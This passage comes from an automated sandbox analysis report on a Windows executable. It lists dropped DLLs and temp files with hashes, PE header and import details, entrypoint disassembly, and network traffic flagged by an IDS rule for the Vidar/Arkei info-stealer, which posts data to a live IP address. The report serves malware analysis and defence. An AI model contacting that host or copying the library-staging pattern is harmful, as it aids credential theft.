SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\359572487740756\temp-shm

Download File

Process:	C:\Users\user\Desktop\PmX1jHdUnS.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\PmX1jHdUnS.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334288
Entropy (8bit):	6.807000203861606
Encrypted:	false
SSDEEP:	6144:C8YBC2NpfYjGg7t5xb7WOBOLFwh8yGHrIrvqqDL6XPowD:CbG7F35BVh8yIZqn65D
MD5:	EF2834AC4EE7D6724F255BEAF527E635
SHA1:	5BE8C1E73A21B49F353C2ECFA4108E43A883CB7B
SHA-256:	A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA
SHA-512:	C6EA0E4347CBD7EF5E80AE8C0AFDCA20EA23AC2BDD963361DFAF562A9AED58DCBC43F89DD826692A064D76C3F4B3E92361AF7B79A6D16A75D9951591AE3544D2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: INV_34897003.pif.exe, Detection: malicious, Browse Filename: cBMUYyAn60.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L....b.[.........."!.........f......)........................................p.......s....@.........................p...P............@..x....................P......0...T...............................@...............8............................text...t........................... ..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\PmX1jHdUnS.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.78390291752429
Encrypted:	false
SSDEEP:	3072:7Gyzk/x2Wp53pUzPoNpj/kVghp1qt/dXDyp4D2JJJvPhrSeTuk:6yQ2Wp53iO/kVghp12/dXDyyD2JJJvPR
MD5:	8F73C08A9660691143661BF7332C3C27
SHA1:	37FA65DD737C50FDA710FDBDE89E51374D0C204A
SHA-256:	3FE6B1C54B8CF28F571E0C5D6636B4069A8AB00B4F11DD842CFEC00691D0C9CD
SHA-512:	0042ECF9B3571BB5EBA2DE893E8B2371DF18F7C5A589F52EE66E4BFBAA15A5B8B7CC6A155792AAA8988528C27196896D5E82E1751C998BACEA0D92395F66AD89
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L...._.[.........."!.....z...................................................@.......3....@A........................@...t.......,.... ..x....................0..h.......T...................T.......h...@...................l........................text....x.......z.................. ..`.rdata..^e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..h....0......................@..B........................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\PmX1jHdUnS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\PmX1jHdUnS.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1246160
Entropy (8bit):	6.765536416094505
Encrypted:	false
SSDEEP:	24576:Sb5zzlswYNYLVJAwfpeYQ1Dw/fEE8DhSJVIVfRyAkgO6S/V/jbHpls4MSRSMxkoo:4zW5ygDwnEZIYkjgWjblMSRSMqH
MD5:	BFAC4E3C5908856BA17D41EDCD455A51
SHA1:	8EEC7E888767AA9E4CCA8FF246EB2AACB9170428
SHA-256:	E2935B5B28550D47DC971F456D6961F20D1633B4892998750140E0EAA9AE9D78
SHA-512:	2565BAB776C4D732FFB1F9B415992A4C65B81BCD644A9A1DF1333A269E322925FC1DF4F76913463296EFD7C88EF194C3056DE2F1CA1357D7B5FE5FF0DA877A66
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.4.g.Z.g.Z.g.Z.n...s.Z..[.e.Z..B..c.Z..Y.j.Z.._.m.Z..^.l.Z.E.[.o.Z..[.d.Z.g.[..Z..^.m.Z..Z.f.Z....f.Z..X.f.Z.Richg.Z.................PE..L....b.[.........."!................w........................................@............@..................................=..T.......p........................}..p...T..............................@............................................text............................... ..`.rdata...R.......T..................@..@.data...tG...`..."...B..............@....rsrc...p............d..............@..@.reloc...}.......~...h..............@..B........................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\PmX1jHdUnS.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.539750563864442
Encrypted:	false
SSDEEP:	3072:UAf6suip+d7FEk/oJz69sFaXeu9CoT2nIVFetBWsqeFwdMIo:p6PbsF4CoT2OeU4SMB
MD5:	A2EE53DE9167BF0D6C019303B7CA84E5
SHA1:	2A3C737FA1157E8483815E98B666408A18C0DB42
SHA-256:	43536ADEF2DDCC811C28D35FA6CE3031029A2424AD393989DB36169FF2995083
SHA-512:	45B56432244F86321FA88FBCCA6A0D2A2F7F4E0648C1D7D7B1866ADC9DAA5EDDD9F6BB73662149F279C9AB60930DAD1113C8337CB5E6EC9EED5048322F65F7D8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L....b.[.........."!.........b...............................................P............@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\PmX1jHdUnS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\PmX1jHdUnS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.513684244592321
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PmX1jHdUnS.exe
File size:	204'800 bytes
MD5:	95c729597254d7d13131a1d787ee8672
SHA1:	d44dd5beba366c2dd917ca0ed0ba5ff109d765c7
SHA256:	078e034c9471d383cda140f060f9ff26960d0674cfc9d0c05d0c704dbe5cf9ab
SHA512:	aa12e5ec478a25adf150da2f48aefe690716549f2d5a075e3d2e469ff626c8377e0a7bd4c6918b8e60bbe7be0a7428bf52fde71e3b7a66b3a88a24dffa3717ce
SSDEEP:	3072:WfUomEuYm98dlSq7gt5q7Dx+XgS6aCEwhOfUbCalNT2pbB3fIF1Xi6FLPo3c:WfUauY68uSWCx+XA7mg2pN01Ljo3c
TLSH:	A2146D30B690C035E8A310BCDDEE86BEB96C7A301F5950C3A3D45A662F712F27A71657
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........; ._ZN._ZN._ZN.....^ZN.0,..GZN.0,...ZN.0,..lZN.V"..]ZN.V"..XZN._ZO.3ZN.0,..TZN.0,..^ZN.Rich_ZN.................PE..L......_...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40717b
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5F11DCA1 [Fri Jul 17 17:15:13 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	7bb9d345a5fec4fbbf5100d6a3ffbb8c

Entrypoint Preview

Instruction
call 00007F5A787DD247h
jmp 00007F5A787D56BEh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 00427258h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F5A787D583Eh
test byte ptr [eax], 00000008h
je 00007F5A787D5839h
mov dword ptr [ebp-0Ch], 01994000h
lea eax, dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp-20h]
call dword ptr [004270B4h]
leave
retn 0008h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [00431208h], eax
mov dword ptr [00431204h], ecx
mov dword ptr [00431200h], edx
mov dword ptr [004311FCh], ebx
mov dword ptr [004311F8h], esi
mov dword ptr [004311F4h], edi
mov word ptr [00431220h], ss
mov word ptr [00431214h], cs
mov word ptr [004311F0h], ds
mov word ptr [004311ECh], es
mov word ptr [004311E8h], fs
mov word ptr [004311E4h], gs
pushfd
pop dword ptr [00431218h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [0043120Ch], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00431210h], eax
lea eax, dword ptr [ebp+08h]

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e864	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x35000	0x215c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2d910	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x27000	0x18c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x25923	0x25a00	False	0.49878659676079734	data	6.437631412074443	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x27000	0x8178	0x8200	False	0.41838942307692306	data	5.816684616124148	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x30000	0x4428	0x1200	False	0.20377604166666666	data	2.4534670908817797	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x35000	0x2c9a	0x2e00	False	0.6042798913043478	data	5.638546337494408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	HeapAlloc, GetProcessHeap, CreateFileA, GetFileSize, WriteFile, ReadFile, MultiByteToWideChar, CloseHandle, GetFullPathNameW, FindFirstFileExW, FindClose, FindNextFileW, LocalAlloc, GetVersionExA, LocalFree, Sleep, GlobalMemoryStatus, GetFileAttributesA, SetFilePointer, MapViewOfFile, UnmapViewOfFile, SystemTimeToFileTime, GetTickCount, FileTimeToSystemTime, GetLocalTime, CreateFileMappingA, GetFileInformationByHandle, WriteConsoleW, SetEndOfFile, FlushFileBuffers, GetConsoleMode, GetConsoleCP, SetStdHandle, FileTimeToLocalFileTime, GetLastError, FindFirstFileExA, FindNextFileA, EncodePointer, DecodePointer, HeapFree, WideCharToMultiByte, GetSystemTimeAsFileTime, GetCommandLineA, HeapSetInformation, GetStartupInfoW, RaiseException, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, IsProcessorFeaturePresent, GetCPInfo, InterlockedIncrement, InterlockedDecrement, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, SetLastError, GetCurrentThreadId, GetProcAddress, HeapSize, ExitProcess, HeapCreate, GetStdHandle, GetModuleFileNameW, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, RtlUnwind, SetHandleCount, GetFileType, DeleteCriticalSection, SetEnvironmentVariableW, SetEnvironmentVariableA, GetTimeZoneInformation, LCMapStringW, GetModuleFileNameA, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter, GetCurrentProcessId, GetStringTypeW, HeapReAlloc, LoadLibraryW, CompareStringW, CreateFileW
USER32.dll	GetDesktopWindow
NETAPI32.dll	NetWkstaGetInfo, NetApiBufferFree, DsRoleGetPrimaryDomainInformation

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.10103.83.194.5049711802034813 11/03/23-18:53:45.180751	TCP	2034813	ET TROJAN Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern	49711	80	192.168.2.10	103.83.194.50

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 3, 2023 18:53:41.336688995 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.503798008 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.503921986 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.504254103 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.671008110 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.671566010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.671638966 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.671659946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.671713114 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.671730042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.671772003 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.671785116 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.671806097 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.671818972 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.671823025 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.671838045 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.671850920 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.671875954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.671878099 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.671897888 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.671915054 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.671926022 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.671941042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.671957970 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.671983004 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.838643074 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.838701010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.838747025 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.838762045 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.838805914 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.838821888 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.838845015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.838896036 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.838921070 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.838973045 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.839102983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.839167118 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.839179993 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.839220047 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.839243889 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.839293003 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.839456081 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.839504957 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.839531898 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.839574099 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.839608908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.839654922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.839689970 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.839740992 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.840231895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.840280056 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.840742111 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.840791941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.840795040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.840831995 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.840939999 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.840954065 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.840987921 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.841001034 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.841037035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.841082096 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.841105938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.841152906 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:41.841190100 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:41.841240883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.005847931 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.005883932 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.005897999 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.005906105 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.005914927 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.005923033 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.005929947 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.005939007 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.005959034 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.005968094 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006019115 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006025076 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.006036043 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006062031 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.006073952 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006091118 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006103039 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006114960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.006134987 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.006160975 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.006176949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006221056 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.006278992 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006295919 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006309986 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006325960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.006341934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006355047 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.006391048 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006393909 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.006409883 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006422997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006454945 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.006454945 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.006465912 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.006475925 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.006521940 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.007169962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.007186890 CET	80	49711	103.83.194.50	192.168.2.10
